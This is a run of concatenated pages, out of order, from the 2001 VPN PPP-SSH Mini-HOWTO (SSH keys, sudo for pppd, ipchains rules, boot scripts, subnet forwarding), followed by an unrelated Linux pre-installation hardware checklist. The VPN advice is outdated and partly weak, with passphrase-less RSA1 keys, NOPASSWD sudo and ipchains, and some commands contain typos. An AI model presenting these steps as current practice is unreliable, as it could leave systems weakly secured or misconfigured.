It would be terrible to have to type in a password every time you wanted to bring the VPN link up, so we'll set up SSH's RSA authentication. Skip this section if you truly don't mind typing a password every time.

  1. Ensure that the root account on the client machine has a public key in root's home directory (~/root/.ssh/identity.pub). If this file doesn't exist, then you must create it. As root, run ssh-keygen:

    # ssh-keygen
Generating public/private rsa1 key pair.
Enter file in which to save the key (/root/.ssh/identity):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/identity.
Your public key has been saved in /root/.ssh/identity.pub.
The key fingerprint is:
15:61:57:7e:5c:26:91:09:5c:e6:10:b7:a1:74:bd:25 root@paradis

  2. Now, copy identity.pub to the vpn account's authorized_keys file on the server. You will almost certainly have to create this. As root, perform the following commands on the server:

    server# cd ~vpn
server# mkdir .ssh
server# chown root.vpn .ssh
server# chmod 755 .ssh
server# cd .ssh

    Now, copy th the client's /root/.ssh/identity.pub file (it's only one line) to the server's ~vpn/.ssh/authorized_keys file. You can add more lines to authorized_keys, one for each client, if you want to allow multiple clients to connect.

    server# chown root.vpn authorized_keys
server# chmod 644 authorized_keys

  3. Now, become root on the client, and try SSHing to the server. You may or may not need to use the -P option, depending on how your client's firewall is set up. If port 22 is blocked on your client (not a bad idea if it's not running an SSH server), then -P tells ssh to use an unprivileged port even though it's running as a priveleged user.

    client# ssh -P eldivino.domain.com -l vpn
Linux eldivino 2.2.19 #6 Mon Jun 4 11:03:22 PDT 2001 i686 unknown
No mail.
vpn@eldivino:~$

    There, we were just RSA-authenticated. Keep your private key (the client's ~root/.ssh/identity file) private! Anyone who has access to this file can log into the VPN account on the server.

4.3. Set Up sudo

pppd needs to run as root. However, on the server, we're running everything as the "vpn" user. How can the vpn user run pppd?

There are a number of ways of solving this problem. One is to use the suid bit, and arrange permissions by groups. However, this can get confusing and difficult to administer pretty fast, leading to unintentional security holes. Personally, I find the sudo utility to be a much better solution.

sudo gives ordinary users superuser powers, but only for a very limited set of commands. The system administrator gets to decide what commands are allowed and how much logging to perform. In this case, we want to allow the user "vpn" to run pppd with superuser privilege, but not be allowed to do anything else.

  1. We need to edit sudo's configuration file, /etc/sudoers. To use proper locking, hopefully preventing accidents and race conditions, use the visudo command to edit /etc/sudoers. If you're not faimiliar with vi, see the VIM HOWTO.

    server# visudo

    Add these two lines to the bottom of the file:

    Cmnd_Alias VPN=/usr/sbin/pppd
vpn ALL=NOPASSWD: VPN

  2. Now, verify that sudo is set up correctly. As the "vpn" user on the server, try running pppd using sudo:

    server# su - vpn
server$ sudo /usr/sbin/pppd noauth
~9}#ÀZ}!}!} }9}"}k} }r} }'}%}zt2-·}'}"}

    If you get a whole bunch of PPP garbage to the screen (like the last line above), this is good. It means that the vpn user is allowed to run pppd. You can now switch to another terminal to kill it off, or you can just let pppd finish on its own. It should give up trying to connect after 30 seconds or so.

    However, if you get "bash: /usr/sbin/pppd: Permission denied" or some other sort of error, or it asks for a password, then sudo is probably not working. You'll need to try figure out what is going wrong. Verify that pppd is in /usr/sbin, and that you set up the sudoers file correctly.

Prev | Home | Next
Software Installation |  | Configure the Client


Forwarding Between Subnets

VPN PPP-SSH Mini-HOWTO
Prev

8. Forwarding Between Subnets

You only need to read this section if you're trying to connect networks, not just hosts. I assume your host-to host tunnel works so now your client and server computers can exchange pings flawlessly. Now, it's time to allow networks connected to the client and server machines to use the tunnel as well.

8.1. Forwarding

First of all, you need to be sure that you're allowing packets to be forwarded across your interfaces. You turn this on through the proc configuration interface. It's best to do this once at boot time, but you can also put it in the vpn-pppssh script or even create a script in the /etc/init.d/ip-up.d directory (see Section 7.2) if you want.

echo 1 > /proc/sys/net/ipv4/ip_forward
echo 1 > /proc/sys/net/ipv4/conf/ppp1  (1) /forwarding
Of course, you need to replace ppp1 with the appropriate VPN interface (the interface associated with SERVER_IFIPADDR or CLIENT_IFIPADDR depending on if you're doing this on the server or the client).

8.2. Gatewaying

On all computers in the subnet, you need to set up the local VPN host as the gateway to all the networks on the other side of the tunnel. This just tells the computers "if you have any packets destined for the opposite side of the VPN, send them to the local VPN host". Note that if the VPN host is already the default gateway for all the computers, then you don't need to worry about this step -- the packets will be forwarded automatically.

In the example below, my VPN host has IP address 192.168.1.1 on the local network. and IP address 192.168.3.2 on the VPN network. The VPN network, containing both the client and server VPN interfaces and all computers on the opposite side of the link, is 192.168.3.0/24. Therefore, on every local computer that I want to be able to send packets through the VPN, I need to run the following command:
# route add -net 192.168.3.0 netmask 255.255.255.0 gw 192.168.1.1

Now, any packet destined for the 192.168.3.0/24 network on the local machine will be relayed to host 192.168.1.1 on the local network to be forwarded through the VPN.

8.3. Routing

There should be no need to set up custom routing -- pppd tries to do it all for you. However, if you find that pppd doesn't cover your needs, the place for your routing commands is in the vpn-pppssh script itself. To change the routing on the client, simply run route. To change the route on the server, use ssh to send those commands to the server. Here's an example:

route add -net $NET1 gw $SERVER_IFIPADDR
ssh -o Batchmode=yes $SERVER_HOSTNAME -l$SERVER_USERNAME route add -net $NET2 gw $CLIENT_IFIPADDR

8.4. Masquerading

You can even set up one or both hosts to masquerade all connections through the VPN tunnel. See the IP Masquerade HOWTO for more.

# ipchains -A forward -i ppp1 -s 192.168.0.0/24 -j MASQ

8.5. Now try it

That should be all you need to forward packets from subnets connected to the client or server to the opposite machine. May your PPP-SSH VPNs serve you quietly and reliably for many years to come.

Prev | Home
Integrating the VPN into your system |


VPN PPP-SSH Mini-HOWTO

Scott Bronson

bronson@trestle.com

2001-07-29

Revision History
Revision v1.00 2002-01-16 Revised by: sb
Initial (public) release.

A PPP-SSH VPN is probably the easiest type of VPN to set up. It uses nothing more than the very common PPP and SSH utilities to form an encrypted network tunnel between two hosts.

Table of Contents
1. Introduction
1.1. Copyright
1.2. Disclaimer
1.3. Credits
2. Introduction
2.1. PPP-SSH Benefits
2.2. PPP-SSH Drawbacks
2.3. Suggested Reading
2.4. Alternatives
3. Software Installation
3.1. Terminology
3.2. Requirements
3.3. Planning
3.4. Set Up PPP
3.5. Allow SSH Through the Firewall
4. Configure the Server
4.1. Create a VPN User
4.2. Set up Authenticated Login
4.3. Set Up sudo
5. Configure the Client
5.1. Install the Script
5.2. The vpn-pppssh Script
6. Bring up the Link
6.1. Troubleshooting
7. Integrating the VPN into your system
7.1. Connecting at Boot Time
7.2. Connecting via Dial-Up
8. Forwarding Between Subnets
8.1. Forwarding
8.2. Gatewaying
8.3. Routing
8.4. Masquerading
8.5. Now try it
Next
Introduction


Software Installation

VPN PPP-SSH Mini-HOWTO
Prev Next

3. Software Installation

3.1. Terminology

Because setting up the VPN very much resembles a client-server transaction, I'll borrow from that terminology to give a name to the computer at each end of the tunnel:

Server

This is the computer that passively waits for incoming VPN connection requests. It runs completely unattended.

Client

This is the computer that initiates the connection request, asking the Server to bring up the VPN.

3.2. Requirements

  • Your kernel must have support for TCP/IP and PPP compiled in. Almost all distributions ship with PPP support straight out of the box. If yours didn't, or if you're using a custom kernel, I'll include a little more detail about this in Section 3.4.

  • You must install the pppd daemon. This most likely comes with your distribution. I'm using ppp-2.3.11. Later versions should work just fine, and earlier versions should also work as well as long as they support the "pty" option. You don't need to install chat or any of the other tools designed to work with PPP -- you just need pppd.

  • The client machine needs to have the the ssh client installed. There are many different versions of ssh floating around, but they should all work. I'm using OpenBSD's OpenSSH package version 2.2.0p1.

  • The server machine needs the sshd daemon to field ssh requests from the client. OpenSSH includes a very good ssh daemon.

  • Finally, you want to install the sudo tool on the server. You can find out more about sudo in the Linux Administrator's Security Guide, in the Administration Tools section, and the Linux Security HOWTO, in the Root Security section. You might also want to look at sudo's home page.

3.3. Planning

To set up a PPP-SSH link, you need to specify the the following parameters:

Server Hostname

What is the hostname or IP address for your VPN server?

Server VPN Username

On your server, what username will the VPN software run under? This HOWTO includes instructions on how to create a user named "vpn" specifically for this. This should not be root! For security and logging, this should be a dedicated account.

Server Interface IP Address

The PPP-SSH VPN sets up dedicated network interfaces on both the client and the server. The interface will be pppN, where N is the number of the first unused ppp interface (i.e. it will be ppp1 if you're already using ppp0 to dial out over your modem).

You will need to specify the IP address for the interface on the server. This address is only visible to the client and server (and to any machines on subnets that the client and server may be forwarding unmasqueraded packets for).

If you don't know what IP address to pick, read chapter 2.2 in the Linux Network Administrators Guide and especially look at Table 2-1. For example, 192.168.0.1 is a good choice.

Client Interface IP Address

You need to select the IP address for the interface on the client. It must, of course, be on the same network as the server's IP address. It must not conflict with any other networks on the client, nor can it be the same as the server's network interface IP address. If you selected 192.168.0.1 for the previous answer, you would probably use 192.168.0.2 here.

My setup looks like this:

SERVER_HOSTNAME = eldivino.domain.com
SERVER_USERNAME = vpn
SERVER_IFIPADDR = 192.168.3.1
CLIENT_IFIPADDR = 192.168.3.2

3.4. Set Up PPP

The kernel's PPP code can either be compiled into the kernel itself or it can be put in loadable kernel modules. If you compiled it into the kernel, you can skip on to the next step -- you're done here. However, if you're loading PPP as modules, you need to make sure the modules get properly loaded.

You can check to see if ppp is listed, along with all other currently loaded modules, when you run lsmod. Remember to check that the PPP module is loaded on both the client and the server.

server$ /sbin/lsmod
Module                  Size  Used by
ppp                    20780   0 (unused)
slhc                    4376   0 [ppp]
3c59x                  21636   1

client$ lsmod
Module                  Size  Used by
ppp_deflate            40308   0  (autoclean)
bsd_comp                4076   0  (autoclean)
ppp                    20844   2  [ppp_deflate bsd_comp]
slhc                    4376   1  [ppp]

If you're sure ppp was compiled as a module, but it's not loaded into the kernel, try loading it with modprobe:

# modprobe ppp

If modprobe didn't return any errors, check lsmod again -- it should be listed this time. If so, then your ppp module is not being loaded at boot time. This is OK if you're running the kernel daemon as the PPP modules will be loaded on demand. If you're not, however, you'll need to manually load the modules at boot time by putting a single line consisting entirely of the word "ppp" in your /etc/modules file.

See the Linux Kernel HOWTO for more on this subject.

3.5. Allow SSH Through the Firewall

The only network traffic between the two machines (as a result of the tunnel, of course) will be over the SSH protocol.

SSH uses only TCP streams -- no UDP or ICMP. The ssh server (sshd) listens on port 22. Our client (because we use the -P flag) only uses the unpriveleged ports from 1024 through 65535. This description should have given you enough information to set up your firewall.

For example, here are the ipchains commands needed to allow ssh connections to the server. We allow incoming SSH connection between port 22 on the local machine and any port on the remote. Replace eth0 with the interface that will be carrying the ssh traffic and $IPADDR with the IP address of that interface.

ipchains -A input  -i eth0 -p tcp -d $IPADDR 22 -j ACCEPT
ipchains -A output -i eth0 -p tcp ! -y -s $IPADDR 22 -j ACCEPT

And, here are the commands needed to set up the firewall on the client. We don't allow incoming ssh connections, and we only allow the protocol to pass between port 22 on the remote machine and unprivileged ports on this machine. Again, replace eth0 with the interface that will be carrying the ssh traffic, and $IPADDR with the IP address of that interface..

ipchains -A input  -i eth0 -p tcp ! -y --source-port 22 -d $IPADDR 1024:65535 -j ACCEPT
ipchains -A output -i eth0 -p tcp -s $IPADDR 1024:65535 --destination-port 22 -j ACCEPT

Prev | Home | Next
Introduction |  | Configure the Server


Integrating the VPN into your system

VPN PPP-SSH Mini-HOWTO
Prev Next

7. Integrating the VPN into your system

Bringing up the link by hand gets tiring after a while. You probably want your VPN to come up either at boot time or when your dial-up connection comes up.

7.1. Connecting at Boot Time

It's quite easy to get this script to run at boot time. I assume you're using the very common System V initscript setup. If not, you'll have to figure out how to integrate this with your system on your own.

  1. Either copy or symlink the vpn-pppssh script to /etc/init.d.

    cp /usr/local/bin/vpn-pppssh /etc/init.d/vpn-pppssh

  2. Uncomment the echo lines in the start and stop clauses in the vpn-pppssh script to enable the boot-time "Starting" and "done." messages.

  3. Put "> /dev/null 2>&1" after the line beginning "${PPPD}" in the start section of the script. This just prevents pppd's verbose messages from mucking up your boot screen. You could also redirect pppd's messages (which may include a very informative error) to a log file or, if you're not aesthetically inclined, leave it alone and let your screen get all mucked up.

  4. Now, you simply link your script in to each of the six runlevels.

    client$ ln -s /etc/init.d/vpn-pppssh /etc/rc0.d/K10vpn-pppssh
client$ ln -s /etc/init.d/vpn-pppssh /etc/rc1.d/K10vpn-pppssh
client$ ln -s /etc/init.d/vpn-pppssh /etc/rc2.d/S99vpn-pppssh
client$ ln -s /etc/init.d/vpn-pppssh /etc/rc3.d/S99vpn-pppssh
client$ ln -s /etc/init.d/vpn-pppssh /etc/rc4.d/S99vpn-pppssh
client$ ln -s /etc/init.d/vpn-pppssh /etc/rc5.d/S99vpn-pppssh
client$ ln -s /etc/init.d/vpn-pppssh /etc/rc6.d/K10vpn-pppssh

Now, when you reboot your machine, the vpn should come up near the end of the boot process. When it hits this script, your machine will wait until the VPN is up before it continues booting. If this is an issue, you can write your own /etc/init.d/vpn-pppssh script that calls the /usr/local/bin/vpn-pppssh script in the background. The link will come up as your machine finishes booting.

To manually bring the link down or up, just run the vpn-pppssh script directly from /etc/init.d:

client$ /etc/init.d/vpn-pppssh stop
client$ /etc/init.d/vpn-pppssh start

7.2. Connecting via Dial-Up

If you're dialing into the internet with PPP, you can bring the VPN up every time you bring up the dial-up connection. This is not difficult, but it does require a fairly recent version of pppd, one that supports both the ipparam option, and the ip-up.d and ip-down.d directories.

  1. Create the "vpn-up" file in /etc/ppp/ip-up.d:

    #!/bin/sh

if [ "$PPP_IPPARAM" = "vpn" ]; then
        # Don't bring up the vpn if we're bringing up the vpn.
        exit 0
fi

/usr/local/bin/vpn start

    There's a re-entrancy here that the if statement takes care of. If we're bringing up the regular PPP link, we want to bring up the VPN. But, the VPN is a PPP link itself! If we didn't do anything about this, PPP would recursively spawn itself until it ground your machine to a halt.

    The secret is the "ipparam vpn" parameter in the vpn-pppssh script. This sets the IPPARAM variable for this invocation to "vpn", which we then check in the startup script. If it's set to vpn, then we know we're in the middle of bringing up the vpn, so we just exit without error. Otherwise, we fire it up.

  2. If you want to punch a hole in your firewall for your VPN when you bring it up, you can simply create an /etc/ppp/ip-up.d/vpn-fw file with the following contents. All the shell variables below are supplied by pppd, so you should be able to use this script unmodified.

    #!/bin/sh

# Punch a hole in the firewall for the VPN

if [ "$PPP_IPPARAM" = "vpn" ]; then
        ipchains -I input 1 -i $PPP_IFACE -s $PPP_REMOTE -d $PPP_LOCAL -j ACCEPT
        ipchains -I output 1 -i $PPP_IFACE -s $PPP_LOCAL -d $PPP_REMOTE -j ACCEPT
fi

  3. Create the "vpn-down" file in /etc/ppp/ip-down.d/vpn-pppssh:

    #!/bin/sh

if [ "$PPP_IPPARAM" = "vpn" ]; then
        # Don't bring down the VPN if we're bringing down the vpn.
        exit 0
fi

/usr/local/bin/vpn stop

Make sure to make all the scripts above executable (chmod a+x /etc/ppp/ip-up.d/vpn-pppssh). Now, when you bring up your PPP link, the VPN should come up with it. And, when you shut it down, the VPN will disappear. Easy as pie.

Prev | Home | Next
Bring up the Link |  | Forwarding Between Subnets


Introduction

VPN PPP-SSH Mini-HOWTO
Prev Next

1. Introduction

The technique described in this HOWTO uses PPP to convert packets into a character stream and SSH to encrypt it and transmit it to the remote computer. Most system administrators are well acquainted with the tools and configuration files needed to set up a PPP-SSH VPN.

While it works well with moderate loads over a reliable connection, be warned that a PPP-SSH VPN is subject to some scalability problems. I've included a list of benefits in Section 2.1 and drawbacks in Section 2.2 so you can decide for yourself if a PPP-SSH VPN is a good fit for your needs.

1.1. Copyright

Copyright © 2001 Scott Bronson. This document may be distributed under the terms set forth in the GNU Free Documentation License. A copy of this license can be found at http://www.fsf.org/licenses/fdl.html.

1.2. Disclaimer

You use the information in this document entirely at your own risk. I especially make no guarantees as to the legality or cryptographic strength of the techniques described here. If you feel that you cannot take full responsibility for your setup, then you need to put down this HOWTO and hire one of the many excellent companies who provide accountable, professional VPN service.

1.3. Credits

I took some notes as I adapted Bart Trojanowski's excellent instructions to a newer version of PPP running on my Debian system. A few weeks later, I converted the notes into SGML. Eventually, those evolved into this HOWTO.

Bart's instructions were based on Arpad Magosanyi's good but now fairly dated VPN Mini-HOWTO. If you run into troubles and my document doesn't seem to help, or if you're running an older version of the Linux kernel or PPP, you'll definitely want to give his HOWTO a read.

Prev | Home | Next
VPN PPP-SSH Mini-HOWTO |  | Introduction


Introduction

VPN PPP-SSH Mini-HOWTO
Prev Next

2. Introduction

2.1. PPP-SSH Benefits

There are a number of benefits to setting up a PPP-SSH VPN. It's relatively simple, it uses common off-the-shelf tools, and it probably won't require a reboot before bringing up the link. Here's a more comprehensive list:

Easy to install

You probably won't need to patch or recompile your kernel, run LILO, reboot, or perform any other perilous administration activities. PPP and SSH are included with most distributions, and most kernels come preconfigured to use them properly.

Easy to set up

You should not have to edit any existing configuration files. You simply customize the script file provided later in this document, which contains all the VPN configuration info, and then execute it on the client machine. Any existing PPP or SSH configurations should continue to work just fine.

No mucking with firewalling

If the SSH protocol currently traverses your firewall, then PPP over SSH will traverse your firewall as well. (If you aren't using SSH, then why not? It is almost a required tool for system administrators nowadays.)

No mucking with manual routing

pppd automatically sets up routing for you. And, if you have very complex routing needs, it's very easy to put the custom routing commands in the script file.

No need for static IP addresses

PPP-SSH VPNs have no trouble whatsoever with dynamic IP addressess. The client must be able to find the server to connect to, of course, but dynamic DNS would work fine for that. Setting up a VPN over a dialup connection is no problem.

Multiple Tunnels are Easy

It's easy to set up multiple tunnels to a single computer. You simply need to make sure that the IP address for each tunnel's network interface is distinct.

2.2. PPP-SSH Drawbacks

This type of VPN is not without a few difficulties. Basically, it doesn't run unattended very well. If you're looking for a production-quality VPN that you can set up and forget about, you will proabably find PPP-SSH a little disappointing. Some alternatives are described in Section 2.4.

Trying to maintain a TCP connection

If the SSH TCP connection is broken for any reason, your VPN goes down hard and takes all tunnelled TCP connections with it. If you have a less than reliable link -- say it's difficult to download more than a few tens of megabytes at one go -- you will be re-starting the VPN a lot.

Running IP packets over a TCP stream

The TCP protocol consists of streams layered on top of IP packets. When you then run IP packets over the TCP stream (as we're attempting to do), the personality conflict between the two can become very apparent. Mostly, this manifests itself as weird delays, dropouts, and oscillations. Sometimes you'll see problems at load, sometimes with next to no traffic. Short of changing the entire OSI model (ha ha), there's not much that can be done about this.

Tends to be bursty

For some reason, when network load gets high, one tunneled TCP connection tends to get all the bandwidth and the others get ignored. This leads to timeouts and dropped connections. Theoretically, this is fixable.

Can't reliably tell when link is down

Keepalives are small packets sent to tell the machine on the other end that the connection is still up. If the network load gets too high, keepalives will be delayed. The other machine will mistakenly assume the connection has been dropped and take down its end of the link.

Without keepalives, however, there's no way for either machine tell if the link has been dropped. When one machine tries to bring the link back up, if the other machine thinks it already has it up, confusion can reign. Most often this will show up as multiple ppp network devices, duplicate routes, and tunnels that appear to be up but drop every packet. A liberal use of "killall -9 pppd" will usually set things back in order. A more intelligent start script could probably improve this.

Too many simultaneous connections avalanches fast

When I use regular PPP over a 56K modem and Postfix opens 10+ connections to deliver my outgoing mail, everything works well. However, when I try to run this exact traffic over a VPN tunneled over a much faster DSL link, it stalls out. Ping times skyrocket for a spell (2 minutes and beyond), traffic moves at a trickle for a while, then it stops completely. The only way to get packets moving again is to restart the tunnel. I'm not sure if this is a bug or an inherent limitation. Reducing the number of connections that Postfix maintains for outgoing mail fixed this problem for me..

It's high-overhead, high-latency

Ping times over my 57.6 modem connection are normally in the 130-170 ms range. However, ping times for a PPP-SSH VPN running over the same modem connection are in the 300-330 ms range. Turning on PPP compression can help a lot if you're transmitting compressible data. Email is compressible, Vorbis files are not.

2.3. Suggested Reading

VPN FAQ

The VPN FAQ at http://kubarb.phsx.ukans.edu/~tbird/vpn/FAQ.html is a very good resource. It's comprehensive, kept reasonably up-to-date, and not afraid to express an opinion.

Linux Kernel HOWTO

If your kernel doesn't already have PPP and IP Forwarding capability built-in, the Linux Kernel HOWTO will tell you how to recompile your kernel to add it. It will also tell you how to load and unload the PPP kernel modules.

PPP HOWTO

Tells how to install and set up the PPP daemon if your distribution did not automatically install it for you. Also has an excellent section on linking two networks using PPP. That's pretty much what we're doing, except that we're also encrypting it. You can find it at http://www.linuxdoc.org/HOWTO/PPP-HOWTO/index.html.

SSH HOWTO

I wish there were an SSH HOWTO! For now, the documentation that comes with your distribution should be a good start. You might also check the OpenSSH web site.

Networking Documentation

If you're not very familiar with networking, you'll want to scour the Linux Network Administrators Guide. It's an excellent introduction to most of the concepts we'll be using here. You may also find the Linux Networking HOWTO at http://www.linuxdoc.org/HOWTO/Networking-Overview-HOWTO.html to be a useful introduction, especially itse sections on TCP/IP, PPP, and tunneling.

2.4. Alternatives

There are a ton of VPN technologies in the world now. If PPP-SSH doesn't fit all your needs, you might want to check one of the following packages.

ipsec

ipsec describes a set of low-level protocols, ESP and AH, to perform authentication and encryption at the packet level. It also uses a higher-level protocol, IKE, to negotiate connection parameters and exchange encryption keys.

FreeS/WAN is probably the best Linux ipsec implementation today. Although it can be very difficult to set up, especially for those who are not terribly familiar with networking, it is amazingly stable once it is working. You can find out more at the FreeS/WAN home page.

Another good, free ipsec implementation is Cerberus. Unfortunately, the National Institute of Standards and Technology only distributes Cerberus to US or Candadian citizens currently located in either the US or Canada. Therefore, depending on who you are, obtaining Cerberus ranges from moderately difficult to effectively impossible.

PPTP

PPTP (Point-to-Point Tunnelling Protocol) is a Microsoft-developed VPN protocol, described in RFC2637. It is a very common and well-understood technology and has many mature implementations on all commonly-used computer platforms. However PPTP is generally considered to have somewhat weak security.

Probably the best Linux PPTP implementation is PoPToP, found at http://poptop.lineo.com/.

CIPE

CIPE is Olaf Titz's protocol to encapsulate IP traffic over UDP packets. It has both a Linux version and a Windows version. I haven't used it yet, but it is in strong development and looks very promising. For more information, the CIPE-MASQ Mini-HOWTO is a terse but informative read.

Prev | Home | Next
Introduction |  | Software Installation


Linux pre-installation checklist

GNU/Linux pre-installation checklist
Prev Next

2. Linux pre-installation checklist

2.1. Before you fill out the checklist

Welcome to the world of Linux. Your first step in installing Linux on your PC will begin by answering a few simple questions about your hardware.

This checklist will make it easy for you and us to go through the installation, painlessly and without surprises. Please take your own time and fill up the following checklist. Wherever possible, and necessary, we have given some suggestions and hints, for your convenience.

If you don't know all the details, you should be able to find them in your computer's manuals. Or, ask your hardware vendor, or your local hardware "guru."

If you still have problems finding answers, don't worry -- you can just ignore any areas you don't know. Bring in your machine and ALL manuals you have. The installation may succeed with some trials and a lot of luck.

Remember, Linux, like many other software products, is a growing product. Some of your hardware may still not be supported in the version of Linux which is being installed.

Each question below can be identified by the section number followed by the question number (e.g. Section 2.3.1 is a question on processor speed). If you need any assistance/clarifications about the questions asked in this form, please specify the section identifier and the question number, and send an email to: <algolog (at) hd1.vsnl.net.in> It is imperative that you also include the version number of the checklist. The version number of this checklist can be found on the first page of the document.

Assumptions:

  1. You are interested in installing Linux on a PC (386 upwards).

  2. You have a CDROM drive on your PC. You have made sure that your proposed version of Linux supports this CDROM drive. Check latest version of the hardware howto at the Linux Documentation Project (LDP).

  3. You have at least one 3½" floppy diskette drive on your system.

  4. The 3½" diskette drive is a BOOTABLE drive.

  5. You will keep readily available, three, bad-sector-free, formatted (3½"), blank diskettes, for use in the installation procedure.

  6. If you wish to install Linux over a LAN, you have confirmed that your network interface card is supported by your version of Linux. Check latest version of the hardware howto at the LDP.

2.2. About you

  1. Your Name ____________________

  2. Your contact phone numbers:

  3. Your email address ____________________

  4. Have you used Linux before ? What distribution?

  5. Have you used any version of Unix before ? Which one ? On what hardware platform ?

  6. Is this an upgrade to an existing Linux distribution ?

  7. What will be the end-use of this Linux installation ?

  8. Do you wish to retain DOS/Win/any other OS along with Linux, on your system ?

  9. Any other detail you want to add: _____________________________________________________ _____________________________________________________

2.3. General

  1. CPU type [i386, i486 DX2...]:

  2. Bus type [ISA, EISA, VESA, PCI, MCA ... ]:

  3. Processor speed (MHz) ?

  4. What size is your RAM (minimum 4 MB needed) ?

  5. Do you want X Window System (i.e. Graphic User Interface for Linux) to be installed on your system ?

  6. How many serial ports (COM ports) do you have on your PC ?

  7. Are you planning to add dumb terminals to your PC ? How many ?

  8. Please mention below, any additional details you wish to add: __________________________________________________ __________________________________________________ __________________________________________________

2.4. Mouse

  1. To which port is your mouse connected ? What IRQ ?

  2. What type of mouse are you using [Microsoft, Busmouse, PS/2 ..] ?

  3. How many buttons does the mouse have ?

2.5. CD-ROM

Tip: If you are not sure if your CDROM is bootable or not, power on the machine and go to BIOS settings (do not let the PC bootup). Look for bootable drive options in the BIOS settings.

  1. What is the make and type of CDROM drive [e.g. IDE ATAPI, Sony, S-B Pro/Panasonic, SCSI, true IDE ..] ?

  2. On which drive interface [1st IDE, 2nd IDE, 3rd IDE, 4th IDE, SCSI, proprietary interface] and which drive [drive 1 , drive 2, SCSI-ID 5] is the CDROM connected (e.g. drive 2 of 1st IDE, SCSI-ID 5 of built-in SCSI interface) ?

  3. Is your CDROM a bootable drive ?

2.6. Floppy drives

  1. Do you have a 3½" floppy drive?

  2. Is the 3½" floppy drive a bootable drive ?

  3. Do you have a 5¼" floppy drive?

  4. Is the 5¼" drive a bootable drive ?

2.7. Tape drives

  1. What type of tape drive do you have (can be NONE) [floppy interface type, SCSI, parallel port ..] ?

  2. Do you have a secondary floppy controller for your tape drive?

2.8. Disk drives

Tip: At this point, you must be clear about how your Linux will be installed and on which disk etc. You must also be clear how your Linux will be booted (there are different possibilities). Read the Installation howto before you answer the following questions.

  1. What type of drive do you have [IDE, SCSI, RLL, MFM ....] ?

  2. How many partitions are there on your first disk drive ? Name, type, size ? Collect these details also for other disk drives you may have on this machine.

  3. On which drive are you planning to install Linux (e.g. drive 2 of first IDE, or SCSI-ID 5 of built-in SCSI interface)

  4. Can we re-partition your disk ? (All existing data will be lost)

  5. Which partitions can be reformatted to become Linux partitions ? Note: All information recorded in this partition will be erased.

  6. How much of disk space can you give for Linux [50 MB minimum] ?

  7. What is your second hard disk (if any)?

  8. What is your third hard disk (if any)?

  9. What is your fourth hard disk (if any)?

  10. What is your fourth hard disk (if any)?

  11. Do you have any SCSI device ? Which SCSI controller do you have (if any)?

  12. Do you plan to boot from your hard disk or floppy?

  13. On which hard disk partition do you want LILO boot loader to reside?

  14. Do you wish to retain the original boot sector/master boot record that is currently on your hard disk?

  15. On which disk partitions will your Linux root reside?

  16. Do you access the IDE drive in LBA mode (check your BIOS settings) ?

2.9. Video Display Units (Monitor and controller)

Tip: If you do not have good documentation on your VDU, try to look at the sticker (nameplate) on the back of your VDU, you may find the answers to some of the questions given below.

  1. What kind of monitor do you have [Monochrome, Color] [EGA, VGA, CGA ..] ? What make ?

  2. Size of screen [14", 15", 19"] ? Is it an interlaced monitor ?

  3. What are the resolutions, and number of colors possible on this monitor [600x480, 800x600, 1024x768]?

  4. What is your monitor's vertical refresh rate / vertical sync. frequency (could be a range)?

  5. What is your monitor's horizontal refresh rate / horizontal sync. frequency (could be a range) ?

  6. Monitor's bandwidth ?

  7. Video RAM size ?

  8. VDU Control card : make and model ?

  9. Chip set used in VDU control card ?

  10. What RAMDAC do you have ?

2.10. Networking

  1. Are you using an internal modem | external modem ?

  2. What make ?

  3. On which COM port is the modem connected ? What IRQ ?

  4. What is the speed of the modem [bps] ?

  5. What serial interface chip does your computer use (e.g. 8450, 16550C) ?

  6. Is it a "Windows only" modem [WIN-MODEM...] ?

  7. Which ethernet card do you have [10base2 or 10baseT; NONE for none] ? What type ?

  8. Will this machine be a part of Internet or any Intranet ?

  9. Will this machine use a dialup connection / PPP connection to an Internet/Intranet server ?

  10. Will this machine be used as an Internet or Intranet server ?

  11. What will be the hostname of your computer (e.g. penguin) ?

  12. What will be the domain name, if any, of your computer (e.g. family_name.city.country)

  13. What will be the IP address, if any, of your computer (e.g. 123.1.2.3) ?

  14. What is the IP address of the DNS server (can be none) ?

  15. What is the IP address of the default router (can be none) ?

2.11. Printers

  1. Have you connected any printer on the parallel port of your PC ?

  2. What is the type, make of the printer ?

2.12. Laptops

  1. Number and type of PCMCIA slots on your Laptop ?

  2. PC cards you plan to use ?

  3. Built-in devices on your laptop (e.g. trackball, pointer, touchpad) ?

  4. COM ports used for the above built-in devices ?

2.13. Miscellaneous

Tip: Try to make a consolidated hardcopy list of I/O addresses, IRQs, DMA-addresses used by the different devices in your machine. Take care to find out the configuration details of your VDU-driver card, Ethernet card, SCSI card etc.

  1. Does your keyboard use a round connector (DIN-5) or PS/2 connector?

  2. Do you plan to use keyboard mapping to any non-US keyboards [French, Greek, Cyrillic, ..] ?

  3. Are you using any Plug & play devices ?

  4. Are you using any sound card ? What card ? What I/O, IRQ, DMA does it use ?

  5. How many ISA spare slots do you have ?

  6. How many EISA spare slots do you have ?

  7. How many VESA spare slots do you have ?

  8. How many PCI spare slots do you have ?

  9. How many other (describe) spare slots?

  10. What kind of other removable media do you have (can be NONE)?

  11. Do you have any other interesting hardware?

  12. Please add any details you wish to highlight: __________________________________________________ __________________________________________________ __________________________________________________

2.14. Feedback

Did you find this form clear ? Any suggestions for improvement ? __________________________________________________ __________________________________________________ __________________________________________________

Thanks for filling out the form. Please cross check the above responses, and keep the checklist handy at the time of installation.

Prev | Home | Next
Introduction |  | What next...?


GNU/Linux pre-installation checklist

Algologic Research & Solutions

algolog (at) hd1.vsnl.net.in

Revision History
Revision 2.6.0 28 November 2000 Revised by:
Initial release using docbook sgml.

This document provides a checklist for installing GNU/Linux (hereafter referred to as Linux) as well as hints and tips along the way. Translations in Japanese, Dutch, and French are available in Section 1.3. The most current version of this checklist will be posted online at: http://members.tripod.com/~algolog/lnxchk.htm. Sgml source for this document is located here.

Table of Contents
1. Introduction
1.1. Copyright Information
1.2. Disclaimer
1.3. Translations
1.4. Acknowledgements
1.5. Who should read/use this?
1.6. What does this checklist (aim to) achieve?
1.7. Where do I find more about Linux?
1.8. Conventions used
2. Linux pre-installation checklist
2.1. Before you fill out the checklist
2.2. About you
2.3. General
2.4. Mouse
2.5. CD-ROM
2.6. Floppy drives
2.7. Tape drives
2.8. Disk drives
2.9. Video Display Units (Monitor and controller)
2.10. Networking
2.11. Printers
2.12. Laptops
